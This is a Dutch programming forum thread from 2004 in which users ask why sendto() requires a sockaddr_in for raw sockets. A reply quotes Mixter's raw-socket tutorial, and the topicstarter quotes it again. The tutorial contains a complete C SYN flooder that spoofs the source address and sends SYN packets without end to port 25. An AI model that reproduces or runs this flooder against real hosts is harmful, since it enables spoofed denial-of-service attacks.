Toon posts:

[C|UNIX] Nut van het vullen van een sockaddr_in-struct?

Pagina: 1
Acties:
  • 149 views sinds 30-01-2008
  • Reageer

Verwijderd

Topicstarter
Ik ben een C-programma aan het programmeren dat gebruik maakt van RAW UDP sockets.

Nu geeft de manpage van de BSD Sockets-functie send() aan dat deze functie alleen gebruikt kan worden op sockets die in een "connected"-state verkeren.
Dit kan uiteraard bij de connectie-georienteerde TCP sockets, maar bij UDP sockets kan dit slechts gesimuleerd worden d.m.v. een virtuele connect().

Nu wil ik een RAW UDP packet verzenden, maar de sendto()-functie vereist een ingevulde sockaddr_in struct als parameter. Echter, in de IP en UDP headers heb ik alle destination en source informatie al ingevuld!

Is het echt alleen op deze manier mogelijk om een RAW UDP packet te verzenden? Zo ja, waarom is dit zo?

  • farlane
  • Registratie: Maart 2000
  • Laatst online: 16:18
Kun je die data niet verzenden met een write ?

Somniferous whisperings of scarlet fields. Sleep calling me and in my dreams i wander. My reality is abandoned (I traverse afar). Not a care if I never everwake.


Verwijderd

Als je een raw packet wilt versturen, dan moet je dat ook doen met een raw socket, en niet met een TCP of UDP socket.

Al vraag ik me wel af waaróm je dat wilt gaan doen, en een verzameling niet al te frisse redenen komen naar boven :p.

Voor jouw plezier, een tekstbestandje dat nog op mijn computer slingert. Misschien heb je er iets aan:

code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
A brief programming tutorial in C for raw sockets
=================================================


Written by Mixter for the BlackCode Magazine

In this tutorial, you'll learn the basics of using raw sockets in C, to
insert any IP protocol based datagram into the network traffic. This is useful,
for example, to build raw socket scanners like nmap, to spoof or to perform
operations that need to send out raw sockets. Basically, you can send any
packet at any time, whereas using the interface functions for your systems IP-
stack (connect, write, bind, etc.) you have no direct control over the packets.
This theoretically enables you to simulate the behavior of your OS's IP stack,
and also to send stateless traffic (datagrams that don't belong to a valid
connection). For this tutorial, all you need is a minimal knowledge of socket
programming in C (see http://www.ecst.csuchico.edu/~beej/guide/net/).


I. Raw sockets

The basic concept of low level sockets is to send a single packet at one time,
with all the protocol headers filled in by the program (instead of the kernel).
Unix provides two kinds of sockets that permit direct access to the network.
One is SOCK_PACKET, which receives and sends data on the device link layer.
This means, the NIC specific header is included in the data that will be
written or read. For most networks, this is the ethernet header. Of course, all
subsequent protocol headers will also be included in the data. The socket type
we'll be using, however, is SOCK_RAW, which includes the IP headers and all
subsequent protocol headers and data.

The (simplified) link layer model looks like this:
Physical layer -> Device layer (Ethernet protocol) -> Network layer (IP) ->
Transport layer (TCP, UDP, ICMP) -> Session layer (application specific data)

Now to some practical stuff. A standard command to create a datagram socket is:
socket (PF_INET, SOCK_RAW, IPPROTO_UDP);
From the moment that it is created, you can send any IP packets over it, and
receive any IP packets that the host received after that socket was created if
you read() from it. Note that even though the socket is an interface to the IP
header, it is transport layer specific. That means, for listening to TCP, UDP
and ICMP traffic, you have to create 3 separate raw sockets, using IPPROTO_TCP,
IPPROTO_UDP and IPPROTO_ICMP (the protocol numbers are 0 or 6 for tcp, 17 for
udp and 1 for icmp).

With this knowledge, we can, for example, already create a small sniffer, that
dumps out the contents of all tcp packets we receive. (Headers, etc. are
missing, this is just an example. As you see, we are skipping the IP and TCP
headers which are contained in the packet, and print out the payload, the data
of the session/application layer, only).

int fd = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
char buffer[8192]; /* single packets are usually not bigger than 8192 bytes */
while (read (fd, buffer, 8192) > 0)
 printf ("Caught tcp packet: %s\n", 
  buffer+sizeof(struct iphdr)+sizeof(struct tcphdr));


II. The protocols IP, ICMP, TCP and UDP

To inject your own packets, all you need to know is the structures of the
protocols that need to be included. Below you will find a short introduction to
the IP, ICMP, TCP and UDP headers. It is recommended to build your packet by
using a struct, so you can comfortably fill in the packet headers. Unix systems
provide standard structures in the header files (eg. <netinet/ip.h>). You can
always create your own structs, as long as the length of each option is
correct. To help you create portable programs, we'll use the BSD names in our
structures. We'll also use the little endian notation. On big endian machines
(some other processor architectures than intel x86), the 4 bit-size variables
exchange places. However, one can always use the structures in the same ways in
this program. Below each header structure is a short explanation of its members,
so that you know what values should be filled in and which meaning they have.

The data types/sizes we need to use are: unsigned char - 1 byte (8 bits),
unsigned short int - 2 bytes (16 bits) and unsigned int - 4 bytes (32 bits)

struct ipheader {
 unsigned char ip_hl:4, ip_v:4; /* this means that each member is 4 bits */
 unsigned char ip_tos;
 unsigned short int ip_len;
 unsigned short int ip_id;
 unsigned short int ip_off;
 unsigned char ip_ttl;
 unsigned char ip_p;
 unsigned short int ip_sum;
 unsigned int ip_src;
 unsinged int ip_dst;
}; /* total ip header length: 20 bytes (=160 bits) */

The Internet Protocol is the network layer protocol, used for routing the
data from the source to its destination. Every datagram contains an IP header
followed by a transport layer protocol such as tcp.

ip_hl: the ip header length in 32bit octets. this means a value of 5
 for the hl means 20 bytes (5 * 4). values other than 5 only need to
 be set it the ip header contains options (mostly used for routing)
ip_v: the ip version is always 4 (maybe I'll write a IPv6 tutorial later;)
ip_tos: type of service controls the priority of the packet. 0x00 is
 normal. the first 3 bits stand for routing priority, the next 4 bits
 for the type of service (delay, throughput, reliability and cost).
ip_len: total length must contain the total length of the ip datagram.
 this includes ip header, icmp or tcp or udp header and payload size in bytes.
ip_id: the id sequence number is mainly used for reassembly of fragmented IP
 datagrams. when sending single datagrams, each can have an arbitrary ID.
ip_off: the fragment offset is used for reassembly of fragmented datagrams.
 the first 3 bits are the fragment flags, the first one always 0, the second
 the do-not-fragment bit (set by ip_off |= 0x4000) and the third the more-flag
 or more-fragments-following bit (ip_off |= 0x2000). the following 13 bits is
 the fragment offset, containing the number of 8-byte big packets already sent.
ip_ttl: time to live is the amount of hops (routers to pass) before the packet
 is discarded, and an icmp error message is returned. the maximum is 255.
ip_p: the transport layer protocol. can be tcp (6), udp(17), icmp(1), or
 whatever protocol follows the ip header. look in /etc/protocols for more.
ip_sum: the datagram checksum for the whole ip datagram. every time anything
 in the datagram changes, it needs to be recalculated, or the packet will
 be discarded by the next router. see V. for a checksum function.
ip_src and ip_dst: source and destination IP address, converted to long
 format, e.g. by inet_addr(). both can be chosen arbitrarily.

IP itself has no mechanism for establishing and maintaining a connection, or
even containing data as a direct payload. Internet Control Messaging Protocol
is merely an addition to IP to carry error, routing and control messages and
data, and is often considered as a protocol of the network layer.

struct icmpheader {
 unsigned char icmp_type;
 unsigned char icmp_code;
 unsigned short int icmp_cksum;
 /* The following data structures are ICMP type specific */
 unsigned short int icmp_id;
 unsigned short int icmp_seq;
}; /* total icmp header length: 8 bytes (=64 bits) */

icmp_type: the message type, for example 0 - echo reply, 8 - echo request, 3 -
 destination unreachable. look in <netinet/ip_icmp.h> for all the types.
icmp_code: this is significant when sending an error message (unreach), and
 specifies the kind of error. again, consult the include file for more.
icmp_cksum: the checksum for the icmp header + data. same as the IP checksum.
Note: The next 32 bits in an icmp packet can be used in many different ways.
 This depends on the icmp type and code. the most commonly seen structure, an
 ID and sequence number, is used in echo requests and replies, hence we only
 use this one, but keep in mind that the header is actually more complex.
icmp_id: used in echo request/reply messages, to identify the request
icmp_seq: identifies the sequence of echo messages, if more than one is sent.

The User Datagram Protocol is a transport protocol for sessions that need to
exchange data. Both transport protocols, UDP and TCP provide 65535 different
source and destination ports. The destination port is used to connect to
a specific service on that port. Unlike TCP, UDP is not reliable, since it
doesn't use sequence numbers and stateful connections. This means UDP
datagrams can be spoofed, and might not be reliable (e.g. they can be lost
unnoticed), since they are not acknowledged using replies and sequence numbers.

struct udpheader {
 unsigned short int uh_sport;
 unsigned short int uh_dport;
 unsigned short int uh_len;
 unsigned short int uh_check;
}; /* total udp header length: 8 bytes (=64 bits) */

uh_sport: The source port that a client bind()s to, and the contacted server
          will reply back to in order to direct his responses to the client.
uh_dport: The destination port that a specific server can be contacted on.
uh_len: The length of udp header and payload data in bytes.
uh_check: The checksum of header and data, see IP checksum.

The Transmission Control Protocol is the mostly used transport protocol
that provides mechanisms to establish a reliable connection with some basic
authentication, using connection states and sequence numbers. (See IV.)

struct tcpheader {
 unsigned short int th_sport;
 unsigned short int th_dport;
 unsigned int th_seq;
 unsigned int th_ack;
 unsigned char th_x2:4, th_off:4;
 unsigned char th_flags;
 unsigned short int th_win;
 unsigned short int th_sum;
 unsigned short int th_urp;
}; /* total tcp header length: 20 bytes (=160 bits) */

th_sport: The source port, which has the same function as in UDP.
th_dport: The destination port, which has the same function as in UDP.
th_seq: The sequence number is used to enumerate the TCP segments. The data
 in a TCP connection can be contained in any amount of segments (=single tcp
 datagrams), which will be put in order and acknowledged. For example, if you
 send 3 segments, each containing 32 bytes of data, the first sequence would be
 (N+)1, the second one (N+)33 and the third one (N+)65. "N+" because the
 initial sequence is random.
th_ack: Every packet that is sent and a valid part of a connection is
 acknowledged with an empty TCP segment with the ACK flag set (see
 below), and the th_ack field containing the previous the_seq number.
th_x2: This is unused and contains binary zeroes.
th_off: The segment offset specifies the length of the TCP header in
 32bit/4byte blocks. Without tcp header options, the value is 5.
th_flags: This field consists of six binary flags. Using bsd headers, they
 can be combined like this: th_flags = FLAG1 | FLAG2 | FLAG3...
  TH_URG: Urgent. Segment will be routed faster, used for termination
   of a connection or to stop processes (using telnet protocol).
  TH_ACK: Acknowledgement. Used to acknowledge data and in the second
   and third stage of a TCP connection initiation (see IV.).
  TH_PSH: Push. The systems IP stack will not buffer the segment and
   forward it to the application immediately (mostly used with telnet).
  TH_RST: Reset. Tells the peer that the connection has been terminated.
  TH_SYN: Synchronization. A segment with the SYN flag set indicates that
   client wants to initiate a new connection to the destination port.
  TH_FIN: Final. The connection should be closed, the peer is supposed to
   answer with one last segment with the FIN flag set as well.
th_win: Window. The amount of bytes that can be sent before the data should
   be acknowledged with an ACK before sending more segments.
th_sum: The checksum of pseudo header, tcp header and payload. The pseudo
   is a structure containing IP source and destination address, 1 byte set
   to zero, the protocol (1 byte with a decimal value of 6), and 2 bytes
   (unsigned short) containing the total length of the tcp segment.
th_urp: Urgent pointer. Only used if the urgent flag is set, else zero. It
   points to the end of the payload data that should be sent with priority.


III. Building and injecting datagrams

Now, by putting together the knowledge about the protocol header structures
with some basic C functions, it is easy to construct and send any datagram(s).
We will demonstrate this with a small sample program that constantly sends
out SYN requests to one host (Syn flooder).


C:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#define __USE_BSD   /* use bsd'ish ip header */
#include <sys/socket.h> /* these headers are for a Linux system, but */
#include <netinet/in.h> /* the names on other systems are easy to guess.. */
#include <netinet/ip.h>
#define __FAVOR_BSD /* use bsd'ish tcp header */
#include <netinet/tcp.h>
#include <unistd.h>

#define P 25        /* lets flood the sendmail port */

unsigned short      /* this function generates header checksums */
csum (unsigned short *buf, int nwords)
{
  unsigned long sum;
  for (sum = 0; nwords > 0; nwords--)
    sum += *buf++;
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  return ~sum;
}

int 
main (void)
{
  int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);  /* open raw socket */
  char datagram[4096];  /* this buffer will contain ip header, tcp header,
               and payload. we'll point an ip header structure
               at its beginning, and a tcp header structure after
               that to write the header values into it */
  struct ip *iph = (struct ip *) datagram;
  struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip);
  struct sockaddr_in sin;
            /* the sockaddr_in containing the dest. address is used
               in sendto() to determine the datagrams path */

  sin.sin_family = AF_INET;
  sin.sin_port = htons (P);/* you byte-order >1byte header values to network
                  byte order (not needed on big endian machines) */
  sin.sin_addr.s_addr = inet_addr ("127.0.0.1");

  memset (datagram, 0, 4096);   /* zero out the buffer */

/* we'll now fill in the ip/tcp header values, see above for explanations */
  iph->ip_hl = 5;
  iph->ip_v = 4;
  iph->ip_tos = 0;
  iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr);    /* no payload */
  iph->ip_id = htonl (54321);   /* the value doesn't matter here */
  iph->ip_off = 0;
  iph->ip_ttl = 255;
  iph->ip_p = 6;
  iph->ip_sum = 0;      /* set it to 0 before computing the actual checksum later */
  iph->ip_src.s_addr = inet_addr ("1.2.3.4");/* SYN's can be blindly spoofed */
  iph->ip_dst.s_addr = sin.sin_addr.s_addr;
  tcph->th_sport = htons (1234);    /* arbitrary port */
  tcph->th_dport = htons (P);
  tcph->th_seq = random ();/* in a SYN packet, the sequence is a random */
  tcph->th_ack = 0;/* number, and the ack sequence is 0 in the 1st packet */
  tcph->th_x2 = 0;
  tcph->th_off = 0;     /* first and only tcp segment */
  tcph->th_flags = TH_SYN;  /* initial connection request */
  tcph->th_win = htonl (65535); /* maximum allowed window size */
  tcph->th_sum = 0;/* if you set a checksum to zero, your kernel's IP stack
              should fill in the correct checksum during transmission */
  tcph->th_urp = 0;

  iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);

/* finally, it is very advisable to do a IP_HDRINCL call, to make sure
   that the kernel knows the header is included in the data, and doesn't
   insert its own header into the packet before our data */

  {             /* lets do it the ugly way.. */
    int one = 1;
    const int *val = &one;
    if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
      printf ("Warning: Cannot set HDRINCL!\n");
  }

  while (1)
    {
      if (sendto (s,        /* our socket */
          datagram, /* the buffer containing headers and data */
          iph->ip_len,  /* total length of our datagram */
          0,        /* routing flags, normally always 0 */
          (struct sockaddr *) &sin, /* socket addr, just like in */
          sizeof (sin)) < 0)        /* a normal send() */
    printf ("error\n");
      else
    printf (".");
    }

  return 0;
}


code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
IV. Basic transport layer operations

To make use of raw packets, knowledge of the basic IP stack operations is
essential. I'll try to give a brief introduction into the most important
operations in the IP stack. To learn more about the behavior of the
protocols, one option is to exame the source for your systems IP stack,
which, in Linux, is located in the directory /usr/src/linux/net/ipv4/.
The most important protocol, of course, is TCP, on which I will focus on.

Connection initiation: to contact an udp or tcp server listening on port
 1234, the client calls a connect() with the sockaddr structure containing
 destination address and port. If the client did not bind() to a source
 port, the systems IP stack will select one it'll bind to. By connect()ing,
 the host sends a datagram containing the following information:
 IP src: client address, IP dest: servers address, TCP/UDP src: clients
 source port, TCP/UDP dest: port 1234. If a client is located on port 1234
 on the destination host, it will reply back with a datagram containing:
 IP src: server IP dst: client srcport: server port dstport: clients source port
 If there is no server located on the host, an ICMP type unreach message
 is created, subcode "Connection refused". The client will then terminate.
 If the destination host is down, either a router will create a different ICMP
 unreach message, or the client gets no reply and the connection times out.

TCP initiation ("3-way handshake") and connection: The client will do a
 connection initiation, with the tcp SYN flag set, an arbitrary sequence
 number, and no acknowledgement number. The server acknowledges the SYN by
 sending a packet with SYN and ACK set, another random sequence number and the
 acknowledgement number the original sequence. Finally, the client replies back
 with a tcp datagram with the ACK flag set, and the server's ack sequence
 incremented by one. Once the connection is established, each tcp segment
 will be sent with no flags (PSH and URG are optional), the sequence number
 for each packet incremented by the size of the previous tcp segment. After
 the amount of data specified as "window size" has been transferred, the
 peer sending data will wait for an acknowledgement, a tcp segment with the
 ACK flag set and the ack sequence number the one of the last data packet
 that could be received in order. That way, if any segments get lost, they
 will not be acknowledged and can be retransmitted. To end a connection,
 both server and client send a tcp packet with correct sequence numbers and
 the FIN flag set, and if the connection ever de-synchronizes (aborted,
 desynchronized, bad sequence numbers, etc.) the peer that notices the error
 will send a RST packet with correct seq numbers to terminate the connection.

 - Mixter <mixter@newyorkoffice.com>

[ Voor 4% gewijzigd door Verwijderd op 19-10-2004 10:56 ]


Verwijderd

Al vraag ik me wel af waaróm je dat wilt gaan doen, en een verzameling niet al te frisse redenen komen naar boven :p.
Bij mij ook. Steve Gibson _/-\o_ van www.grc.com heeft ook flink campagne gevoerd om raw-sockets uit windows te houden, maar het is hem niet gelukt.

Verwijderd

offtopic:
Steve Gibson is een aap

Verwijderd

Topicstarter
farlane schreef op 19 oktober 2004 @ 09:00:
Kun je die data niet verzenden met een write ?
Dat is minder portable en inflexibeler.

Write() fungeert als een gelijkwaardig alternatief voor send().
Volgens deze manpage volgt daaruit dat de socket waarop een write()-operatie wordt uitgevoerd ook in een "connected" state moet verkeren. De hele toelichting bij send() in de OP geldt in feite ook voor write(). Het is dus geen werkend alternatief voor mij.

Echter, de volgende passage uit de bewuste manpage kan ik niet plaatsen (in figuurlijke zin ;)):
SOCK_DGRAM and SOCK_RAW sockets allow sending of datagrams to correspondents named in send(2) calls. Datagrams are generally received with recvfrom(2), which returns the next datagram with its return address.
In een send() call kunnen die correspondenten toch helemaal niet opgegeven worden? :?
Dit kan alleen in een sendto() call, door middel van de sockaddr_in struct waarop mijn prangende vraag betrekking heeft.
Wel kan, zoals ik in de OP al verklaar, ook een SOCK_DGRAM (= UDP) socket in een soort virtuele "connected" state verkeren, en allicht kan men dan ook send()/write() aanroepen i.c.m. die bewuste socket.

[ Voor 4% gewijzigd door Verwijderd op 19-10-2004 15:42 ]


Verwijderd

Topicstarter
Verwijderd schreef op 19 oktober 2004 @ 10:56:
Als je een raw packet wilt versturen, dan moet je dat ook doen met een raw socket, en niet met een TCP of UDP socket.
Dat doe ik ook, maar dat heeft niets met mijn vraag te maken. ;)
Al vraag ik me wel af waaróm je dat wilt gaan doen, en een verzameling niet al te frisse redenen komen naar boven :p.
Dat heb ik al eerder verklaard in een door mij geopend topic waarin ik vroeg of ik UDP packets met Java kan verzenden.
Voor jouw plezier, een tekstbestandje dat nog op mijn computer slingert. Misschien heb je er iets aan:

code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
A brief programming tutorial in C for raw sockets
=================================================


Written by Mixter for the BlackCode Magazine

In this tutorial, you'll learn the basics of using raw sockets in C, to
insert any IP protocol based datagram into the network traffic. This is useful,
for example, to build raw socket scanners like nmap, to spoof or to perform
operations that need to send out raw sockets. Basically, you can send any
packet at any time, whereas using the interface functions for your systems IP-
stack (connect, write, bind, etc.) you have no direct control over the packets.
This theoretically enables you to simulate the behavior of your OS's IP stack,
and also to send stateless traffic (datagrams that don't belong to a valid
connection). For this tutorial, all you need is a minimal knowledge of socket
programming in C (see http://www.ecst.csuchico.edu/~beej/guide/net/).

[u][b]=ingekort=[/b][/u]


III. Building and injecting datagrams

Now, by putting together the knowledge about the protocol header structures
with some basic C functions, it is easy to construct and send any datagram(s).
We will demonstrate this with a small sample program that constantly sends
out SYN requests to one host (Syn flooder).


C:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#define __USE_BSD   /* use bsd'ish ip header */
#include <sys/socket.h> /* these headers are for a Linux system, but */
#include <netinet/in.h> /* the names on other systems are easy to guess.. */
#include <netinet/ip.h>
#define __FAVOR_BSD /* use bsd'ish tcp header */
#include <netinet/tcp.h>
#include <unistd.h>

#define P 25        /* lets flood the sendmail port */

unsigned short      /* this function generates header checksums */
csum (unsigned short *buf, int nwords)
{
  unsigned long sum;
  for (sum = 0; nwords > 0; nwords--)
    sum += *buf++;
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  return ~sum;
}

int 
main (void)
{
  int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);  /* open raw socket */
  char datagram[4096];  /* this buffer will contain ip header, tcp header,
               and payload. we'll point an ip header structure
               at its beginning, and a tcp header structure after
               that to write the header values into it */
  struct ip *iph = (struct ip *) datagram;
  struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip);
  
  // Waar is het volgende stukje code in hemelsnaam voor nodig bij RAW sockets?
  [b]struct sockaddr_in sin;
            /* the sockaddr_in containing the dest. address is used
               in sendto() to determine the datagrams path */

  sin.sin_family = AF_INET;
  sin.sin_port = htons (P);/* you byte-order >1byte header values to network
                  byte order (not needed on big endian machines) */
  sin.sin_addr.s_addr = inet_addr ("127.0.0.1");[/b]

  memset (datagram, 0, 4096);   /* zero out the buffer */

/* we'll now fill in the ip/tcp header values, see above for explanations */
  iph->ip_hl = 5;
  iph->ip_v = 4;
  iph->ip_tos = 0;
  iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr);    /* no payload */
  iph->ip_id = htonl (54321);   /* the value doesn't matter here */
  iph->ip_off = 0;
  iph->ip_ttl = 255;
  iph->ip_p = 6;
  iph->ip_sum = 0;      /* set it to 0 before computing the actual checksum later */
  // Hier vult Mixter de IP headers in, inclusief source en destination address
  [b][u]iph->ip_src.s_addr = inet_addr ("1.2.3.4");/* SYN's can be blindly spoofed */
  iph->ip_dst.s_addr = sin.sin_addr.s_addr;[/u][/b]
  tcph->th_sport = htons (1234);    /* arbitrary port */
  tcph->th_dport = htons (P);
  tcph->th_seq = random ();/* in a SYN packet, the sequence is a random */
  tcph->th_ack = 0;/* number, and the ack sequence is 0 in the 1st packet */
  tcph->th_x2 = 0;
  tcph->th_off = 0;     /* first and only tcp segment */
  tcph->th_flags = TH_SYN;  /* initial connection request */
  tcph->th_win = htonl (65535); /* maximum allowed window size */
  tcph->th_sum = 0;/* if you set a checksum to zero, your kernel's IP stack
              should fill in the correct checksum during transmission */
  tcph->th_urp = 0;

  iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);

/* finally, it is very advisable to do a IP_HDRINCL call, to make sure
   that the kernel knows the header is included in the data, and doesn't
   insert its own header into the packet before our data */

  {             /* lets do it the ugly way.. */
    int one = 1;
    const int *val = &one;
    if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
      printf ("Warning: Cannot set HDRINCL!\n");
  }

  while (1)
    {
      if (sendto (s,        /* our socket */
          datagram, /* the buffer containing headers and data */
          iph->ip_len,  /* total length of our datagram */
          0,        /* routing flags, normally always 0 */
          [b](struct sockaddr *) &sin,  /* socket addr, just like in */
          sizeof (sin)) < 0)        /* a normal send() */[/b]
         // Allereerst klopt het niet dat sockaddr_in een parameter is van
         // de "normal" [i]send()[/i]-function
         // Ten tweede vereist [i]sendto()[/i] dus wél een sockaddr_in parameter,
         // maar waarom? Is dit niet totaal redundant?
    printf ("error\n");
      else
    printf (".");
    }

  return 0;
}


=ingekort=

- Mixter <mixter@newyorkoffice.com>
Hmmm... wat doen dat soort tekstbestandjes op jouw HD, als je zo bonafide bezig bent? >:)

Als je met Google zoekt beland je ook vaak bij deze tutorial, de voorbeeldcode lijkt echter nogal slordig geprogrammeerd, en de tutorial geeft uberhaupt geen antwoord op mijn vraag. Wel illustreert hij mijn vraag goed.
Daarom heb ik in zijn code de stukjes waarover ik het heb geaccentueerd.

[ Voor 70% gewijzigd door Verwijderd op 19-10-2004 15:59 . Reden: Inkorting op verzoek :) ]


  • Soultaker
  • Registratie: September 2000
  • Laatst online: 15-05 06:45
offtopic:
Cybarite: je had die gigantische post van OneOfBorg in je quote wel een beetje mogen inkorten ;)

Verwijderd

Topicstarter
Verwijderd schreef op 19 oktober 2004 @ 13:45:
[...]


Bij mij ook. Steve Gibson _/-\o_ van www.grc.com heeft ook flink campagne gevoerd om raw-sockets uit windows te houden, maar het is hem niet gelukt.
A.U.B. de topictitel eerst lezen voor je post.
[C|UNIX] Nut van het vullen van een sockaddr_in-struct?
offtopic:
Sowieso is het onzinnig om functionaliteit uit besturingssystemen te halen omdat die misbruikt kan worden, als iemand RAW sockets wil misbruiken heeft hij aan een Knoppix boot-CD genoeg. :z

Verwijderd

Topicstarter
Soultaker schreef op 19 oktober 2004 @ 15:56:
offtopic:
Cybarite: je had die gigantische post van OneOfBorg in je quote wel een beetje mogen inkorten ;)
offtopic:
Is geregeld

Verwijderd

Verwijderd schreef op 19 oktober 2004 @ 15:53:
Als je met Google zoekt beland je ook vaak bij deze tutorial, de voorbeeldcode lijkt echter nogal slordig geprogrammeerd, en de tutorial geeft uberhaupt geen antwoord op mijn vraag. Wel illustreert hij mijn vraag goed.
Nou, hij gebruikt dus inderdaad sendto. Het is misschien niet logisch (ben ik het mee eens), maar blijkbaar de enige manier. Bovendien zet hij een optie om aan te geven dat de IP headers al geïnclude zijn in het pakketje.

Wat waarschijnlijk betekent dat de sock_addr struct genegeerd wordt, maar je zou voor de zekerheid het ding gewoon goed kunnen zetten en het dan proberen.
Verwijderd schreef op 19 oktober 2004 @ 15:53:
Hmmm... wat doen dat soort tekstbestandjes op jouw HD, als je zo bonafide bezig bent? >:)
Ik heb een woelige jeugd gehad 8)

[ Voor 16% gewijzigd door Verwijderd op 19-10-2004 16:35 ]


Verwijderd

Topicstarter
Verwijderd schreef op 19 oktober 2004 @ 16:34:
[...]


Nou, hij gebruikt dus inderdaad sendto. Het is misschien niet logisch (ben ik het mee eens), maar blijkbaar de enige manier.
LOL, dat is dus exactly my thought. :P
Daarom vroeg ik of het werkelijk de enige manier is, eigenlijk. :)
Bovendien zet hij een optie om aan te geven dat de IP headers al geïnclude zijn in het pakketje.
Wat het invullen van een sockaddr_in struct dus alleen maar overbodiger maakt...
Wat waarschijnlijk betekent dat de sock_addr struct genegeerd wordt, maar je zou voor de zekerheid het ding gewoon goed kunnen zetten en het dan proberen.
Ik hoopte dat iemand dit wel zou weten, aangezien mijn programma nog niet in het stadium is dat ik het zonder veel poespas even kan testen.

Toch blijft het een ogenschijnlijk simpele vraag, die menigeen zich al zou moeten hebben afgevraagd aangezien het zo in het oog springt....

Verwijderd

Als je voor de mooiigheid geen sendto wilt gebruiken, kun je altijd nog een connect() geven vantevoren.

Maar sorry, verder ben ik niet expert genoeg op dit gebied om een gefundeerd antwoord op je vraag je geven.

Verwijderd

Topicstarter
Verwijderd schreef op 19 oktober 2004 @ 18:02:
Als je voor de mooiigheid geen sendto wilt gebruiken, kun je altijd nog een connect() geven vantevoren.

Maar sorry, verder ben ik niet expert genoeg op dit gebied om een gefundeerd antwoord op je vraag je geven.
En die connect() heeft als parameter o.a. .... een sockaddr_in struct. :P :D

Bedankt voor je hulp iig, het probleem is ten minste duidelijk, dat is al heel wat op GoT is mijn ervaring. :P

Wie o wie kan antwoord geven op de hoofdvraag? :)

Verwijderd

Verwijderd schreef op 19 oktober 2004 @ 19:41:
En die connect() heeft als parameter o.a. .... een sockaddr_in struct. :P :D
Uiteraard. Maar dat zorgt er voor dat je die parameter bij de volgende aanroepen naar send() iig niet mee hoeft te geven.

Verwijderd

Topicstarter
Verwijderd schreef op 19 oktober 2004 @ 19:45:
[...]

Uiteraard. Maar dat zorgt er voor dat je die parameter bij de volgende aanroepen naar send() iig niet mee hoeft te geven.
Ach, dat is niet zozeer het bezwaar in mijn geval. Meer de redundantie van het tweemaal specificeren van parameters, en de overhead die dat weer met zich meebrengt.

Verwijderd

Topicstarter
Welgemeende KICK...

  • farlane
  • Registratie: Maart 2000
  • Laatst online: 16:18
Heb je het al geprobeerd met 0 als parm en lengte 0?

Somniferous whisperings of scarlet fields. Sleep calling me and in my dreams i wander. My reality is abandoned (I traverse afar). Not a care if I never everwake.


Verwijderd

Topicstarter
farlane schreef op 21 oktober 2004 @ 09:13:
[...]

Heb je het al geprobeerd met 0 als parm en lengte 0?
Ik heb het eerst proberen uit te zoeken.

Ik heb de GNU/Linux Kernel broncode eens bekeken (v2.6.9), en om een lang verhaal kort te maken: een eventuele sockaddr_in parameter wordt genegeerd, mits IP_HDRINCL van toepassing is op de socket van de socket file descriptor die als parameter wordt meegegeven. In de inhoud in het bestand raw.c levert dit ook hilarische taferelen op, wat commentaar oplevert in de geest van "Wie maakt er nou gebruik van deze gekkigheid? IP_HDRINCL is toch veel geschikter." als kanttekening bij het hanteren van allerlei uitzonderingscondities.

Toch kan ik dit niet met zekerheid zeggen aangezien het allemaal lijkt te draaien om de raw_sendmsg() functie in het "raw.c" bestand dat deel uitmaakt van de GNU/Linux Kernel...

Ik heb in een C IRC-kanaal proberen te vragen wat er gebeurt als de "msg" variabele NULL is in de volgende regel code:
C:
1
2
    if (msg->msg_flags & MSG_OOB)
        goto out;


Evualeert de expressie op de eerste regel als:
• TRUE
• FALSE

Of treedt er een error op?

Die vraag bleef helaas onbeantwoord.

offtopic:
Helaas leek communicatie niet de sterkste kant van de paar kenners daar, aangezien ze niet in staat waren deze simpele vraag te begrijpen, maar er allerlei zaken bij verzonnen zoals wat het nut zou zijn van die *msg parameter van de functie waar deze regel in staat. :? :z :O

Verwijderd

Topicstarter
